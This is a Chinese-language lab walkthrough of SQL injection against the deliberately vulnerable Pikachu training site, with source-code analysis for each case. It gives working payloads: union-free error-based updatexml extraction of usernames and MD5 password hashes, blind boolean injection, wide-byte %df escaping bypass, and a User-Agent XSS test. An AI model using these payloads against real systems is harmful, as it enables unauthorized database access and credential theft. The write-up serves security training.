SQL 注入

前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。

MySQL 通用查库、查表、查列

我们直接使用 MySQL 命令行进行操作。

使用库

我们平时在进行 SQL 注入时,后端代码已经自己使用库了。但是,我们在使用 MySQL 命令行工具时,是需要通过命令来使用库的。

1
use pikachu

我们就可以查看当前库了

1
2
3
4
5
6
7
mysql> select database();
+------------+
| database() |
+------------+
| pikachu |
+------------+
1 row in set (0.00 sec)

查库

1
select schema_name from information_schema.schemata;

我们呢发现命令行输出了这两个数据库。原理是使用 select 读取了 information_schema 数据库中的 schemata 表中的 schema_name 列。

1
2
3
4
5
6
7
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| pikachu |
+--------------------+
2 rows in set (0.01 sec)

查表

很明显,我们需要的数据在

1
select table_name from information_schema.tables where table_schema='pikachu';

看来还是有很多表的,不过我们用到的表是 users 表。

1
2
3
4
5
6
7
8
9
10
+------------+
| table_name |
+------------+
| httpinfo |
| member |
| message |
| users |
| xssblind |
+------------+
5 rows in set (0.00 sec)

查列

1
select column_name from information_schema.columns where table_name='users';

发现有 id, username, password, level 这四列。

1
2
3
4
5
6
7
8
9
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
| level |
+-------------+
4 rows in set (0.01 sec)

有了这些名称之后我们就可以查看数据了(也叫做字段)。

查字段

比如我们呢最长用到的账号和密码(username 和 password)

1
select username, password from pikachu.users;

可以发现有这三个账户的密码,而且这些密码是经过 MD5 加密之后的,并且这些 MD5 默认长度为 32 字符。

1
2
3
4
5
6
7
8
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | e10adc3949ba59abbe56e057f20f883e |
| pikachu | 670b14728ad9902aecba32e22fa4f6bd |
| test | e99a18c428cb38d5f260853678922e03 |
+----------+----------------------------------+
3 rows in set (0.00 sec)

数字型注入(post)

使用 HackBar,先随便在点几下选项,然后去 Load,在 id=1 后面加上 or 1=1

1
id=1 or 1=1 &submit=%E6%9F%A5%E8%AF%A2

全部都输出出来了。

源码分析

1
$query="select username,email from member where id=$id";

这里明显没有做啥过滤,可直接利用注入。

字符型注入(get)

我们输入一个 vince,得到一个 url

1
http://192.168.17.129:8000/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2#

先在 vince 后面加一个 or 1=1 看看。

发现没用。看看是被单引号还是被双引号单独括起来了。

双引号时被当作普通字符,单引号是就报错了。所以单引号就能绕过。

构造

1
?name=vince' or '1'='1&submit=%E6%9F%A5%E8%AF%A2#

源码分析

1
$query="select id,email from member where username='$name'";

可以看到,单独用单引号括起来了,在 SQL 语句中是字符串的意思,就直接将$name 整个当作字符串。又因为$query 是字符串,后面有没有过滤,我们自然而然直接用单引号进行绕过。

搜索型注入

这里也是 GET 请求,也是单引号会报错。用上面的构造方法,发现搜索又正常了。因为是搜索,并且刚才的报错有一个%(SQL 语句文本匹配,可以匹配零个或多个字符)

我们刚才输入的是 v’所以为 like ‘%v%’’

1
" ... username like '%$name%'"

我们可以尝试一下构造成,就可以匹配任何字符

1
" ... username like '%' or '$name%'

就为这个

1
' or '

ok 成功!

分析源码

1
$query="select username,id,email from member where username like '%$name%'";

发现和我们认为的构造方法是一样的。

xx 型注入

发现还是 GET 请求,单引号报错,双引号不报错,但是报错错不一样,重新考虑对策。输入 vince’

报错为: ‘’vince’’)’

说明被单引号包裹(),又有括号存在。(括号可以表示集合)

1
" ... username = ('$name')"

于是我们可以进行构造

1
username = ('') or ('1'='1')

输入

1
') or ('1'='1

ok,完成

源码分析

1
$query="select id,email from member where username=('$name')";

“insert/update”注入

开始就是注册,用 HackBar 插件,发现是 POST 请求

1
username=admin&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit

登录为 GET 请求,我们可以输错时可以明显发现

1
?username=aaa&password=aaa&submit=Login

从注册中入手

这里并没有输出回显,我们看看报错会不会回显。

输入下面的,通过 HackBar 进行运行(发现浏览器 POST 请求发送要按下两次,还以为输错了)

1
username=admin'&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit

看到有报错,我们就可以使用常用的报错注入方法了。

1
username=admin' and updatexml(1, version(), 1) or '&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit

报错信息

1
XPATH syntax error: '.26-0ubuntu0.18.04.1-log'

前面被遮挡了,用波浪号标记一下

1
username=admin' and updatexml(1, concat(0x7e, version()), 1) or '&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit

报错信息

1
XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log'

把我们的 version 换成 database 就可以看到 php 调用的 mysql 是那个数据库了。这里的 updatexml 第一个和第三个参数应该随便填。

1
username=admin' and updatexml(1, concat(0x7e, database()), 1) or '&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit

报错信息,我们调用的数据库名为 pikachu

1
XPATH syntax error: '~pikachu'

我们就不深入获取服务器的权限了,我们试试能不能获取所有用户的用户名即可。可以参考 “http header”注入。

“delete”注入

我们随便输入一个文本,比如我输的是 50,然后点击 submit,就会发现一个删除超链接,发现是一个 GET 请求,用于删除文本来用的,我们就可以加一个单引号试试报不报错。

1
http://192.168.17.129:8000/vul/sqli/sqli_del.php?id=61
1
http://192.168.17.129:8000/vul/sqli/sqli_del.php?id=61'

发现报错,我们就可以使用报错注入的方法进行 SQL 注入了。更多参考 http header 注入这一节。

1
61 or updatexml(1,concat(0x7e,(select database())),1)

“http header”注入

我们输入密码后,可以看到,页面自动的获取了我们的 UA(User Agent)

我们就可以尝试修改 UA 达到一些目的。通过 BrupSuite 抓包。

我们将其改成,发现可以回显,我们就发现一个** XSS 漏洞**。

1
User-Agent: <script>alert("hello");</script>

不过我们这里的是 SQL 注入的靶场,需要寻找 SQL 漏洞。

我们直接输入 1’(注意有一个单引号),发现有报错,我们就可以使用到我们报错注入方法了。

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','34338')' at line 1

查看数据库名

1
' or updatexml(1,concat(0x7e,(select database())),1) or '

‘ or 和 or ‘ 用于前后 sql 语句闭合,输出为~pikachu

通过 MySQL 通用的方法对数据库名,表名,和用户密码的获取方式。下面是最后的 SQL 语句成品,我们也可以将 username 替换成 password,显示出来的可能是 MD5 编码过后的。

1
' or updatexml(1, concat(0x7e, (select group_concat(username) from users)), 1) or '

当然,刚才说的 username 替换成 password 也不是直接替换的,我们发现直接替换之后只会输出一个 MD5,可有可能一个也没输出完整,这是因为UPDATEXML函数最多输出32个字节,因此在提取较长的数据时可能需要使用substring函数进行分割。(在 PHP 中 MD5 默认是 32 字符的,又因为我们使用 UPDATAXML 头一个用的是 0x7e(也就是~)进行标注,导致还少了一个字符)。

注意我们还需要使用 limit 第一个参数, 第二个参数(第一个参数是第几行,第二个行数是多少条)

第一次

1
' or updatexml(1, concat(0x7e, substring((select password from users limit 0, 1), 1, 32)), 1) or '

第二次

1
' or updatexml(1, concat(0x7e, substring((select password from users limit 0, 1), 32, 1)), 1) or '

所以第一个密码为(MD5 编码后的)

1
e10adc3949ba59abbe56e057f20f883e

其余两个密码,如下(只展示前 31 位)

1
' or updatexml(1, concat(0x7e, substring((select password from users limit 1, 1), 1, 32)), 1) or '
1
' or updatexml(1, concat(0x7e, substring((select password from users limit 2, 1), 1, 32)), 1) or '

源码分析

用到了$_SERVER 获取了各种参数,然后存到 httpinfo 表中。后面的直接输出,就会出现报错回显和 XSS 漏洞。

1
2
3
4
5
6
7
8
9
//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);
1
2
3
4
5
6
7
<div id="http_main">
<h1>朋友,你好,你的信息已经被记录了:<a href="sqli_header.php?logout=1">点击退出</a></h1>
<p>你的ip地址:$remoteipadd</p>
<p>你的user agent:$useragent</p>
<p>你的http accept:$httpaccept</p>
<p>你的端口(本次连接):tcp$remoteport</p>
</div>

盲注(base on boolian)

这个是基于布尔的盲注,也就是 True 和 False。

可以发现,只要是正确的就有返回,错误的就没有返回,就可以利用这一点进行盲注,下面的代码是我们构造的 payload,发现数据库名的长度为 7 位。

1
kobe' and length(database())=7 --+

同理,我们可以看第一个用户名(admin)的长度为 5。

**注意一个坑:**select 出来的需要先加一个括号,length 的括号是函数本身的,所以我的 payload 中的 length 就有了两个括号包含。

1
kobe' and length((select username from users limit 0, 1))=5 --+

爆破用户名

使用到了函数 substr,有三个参数,分别是字符串,第几个,截取多少字符

1
kobe' and substr((select username from users limit 0, 1), 1, 1)='a' --+

在这里我们可以使用 burpsuite 或者自己写脚本来进行爆破。

这种爆破速度非常快,如果 26 字母组成的,最多需要 26*length 步就可以进行爆破出用户名,只需要修改 substr 第二个参数即可。

盲注(base on time)

这个是基于时间的盲注。可以通过时间差来知道正确还是错误(对应着布尔盲注的 True 和 False),从而进行盲注,不做多赘述。总的来说,盲注最好使用工具,自己写脚本。

宽字节注入

在 Burpsuite 进行拦截修改 POST 请求内容即可。

1
lili%df' or 1=1 --+

代码审计

重要代码部分

1
2
3
4
$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
$set = "set character_set_client=gbk";

可以看到,对 POST 请求 name 字段中的内容进行了转义。一般是以下的内容进行转义,可以看到,如果我们用反斜杆进行绕过,最后还是会被转义为三个反斜杠(///)。

1
NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.

下面的设置是将其编码格式改为 GBK,二字节编码的。看我们前面,我们就用了%df 进行绕过(其实感觉很多一字节的 URL 编码都可以,不过我看别人用%df 很多,可能就是一个正经的汉字吧)。所以说在 php 函数 escape 进行处理的时候,’的出现就会有一个转义一个反斜杠,不过在 php 的 mysqli 当中,因为设置了 gbk 编码,导致宽字节(有需要的两字符当一个,在这里导致%df 和反斜杠进行合并为一个宽字节),我们就成功的进行绕过。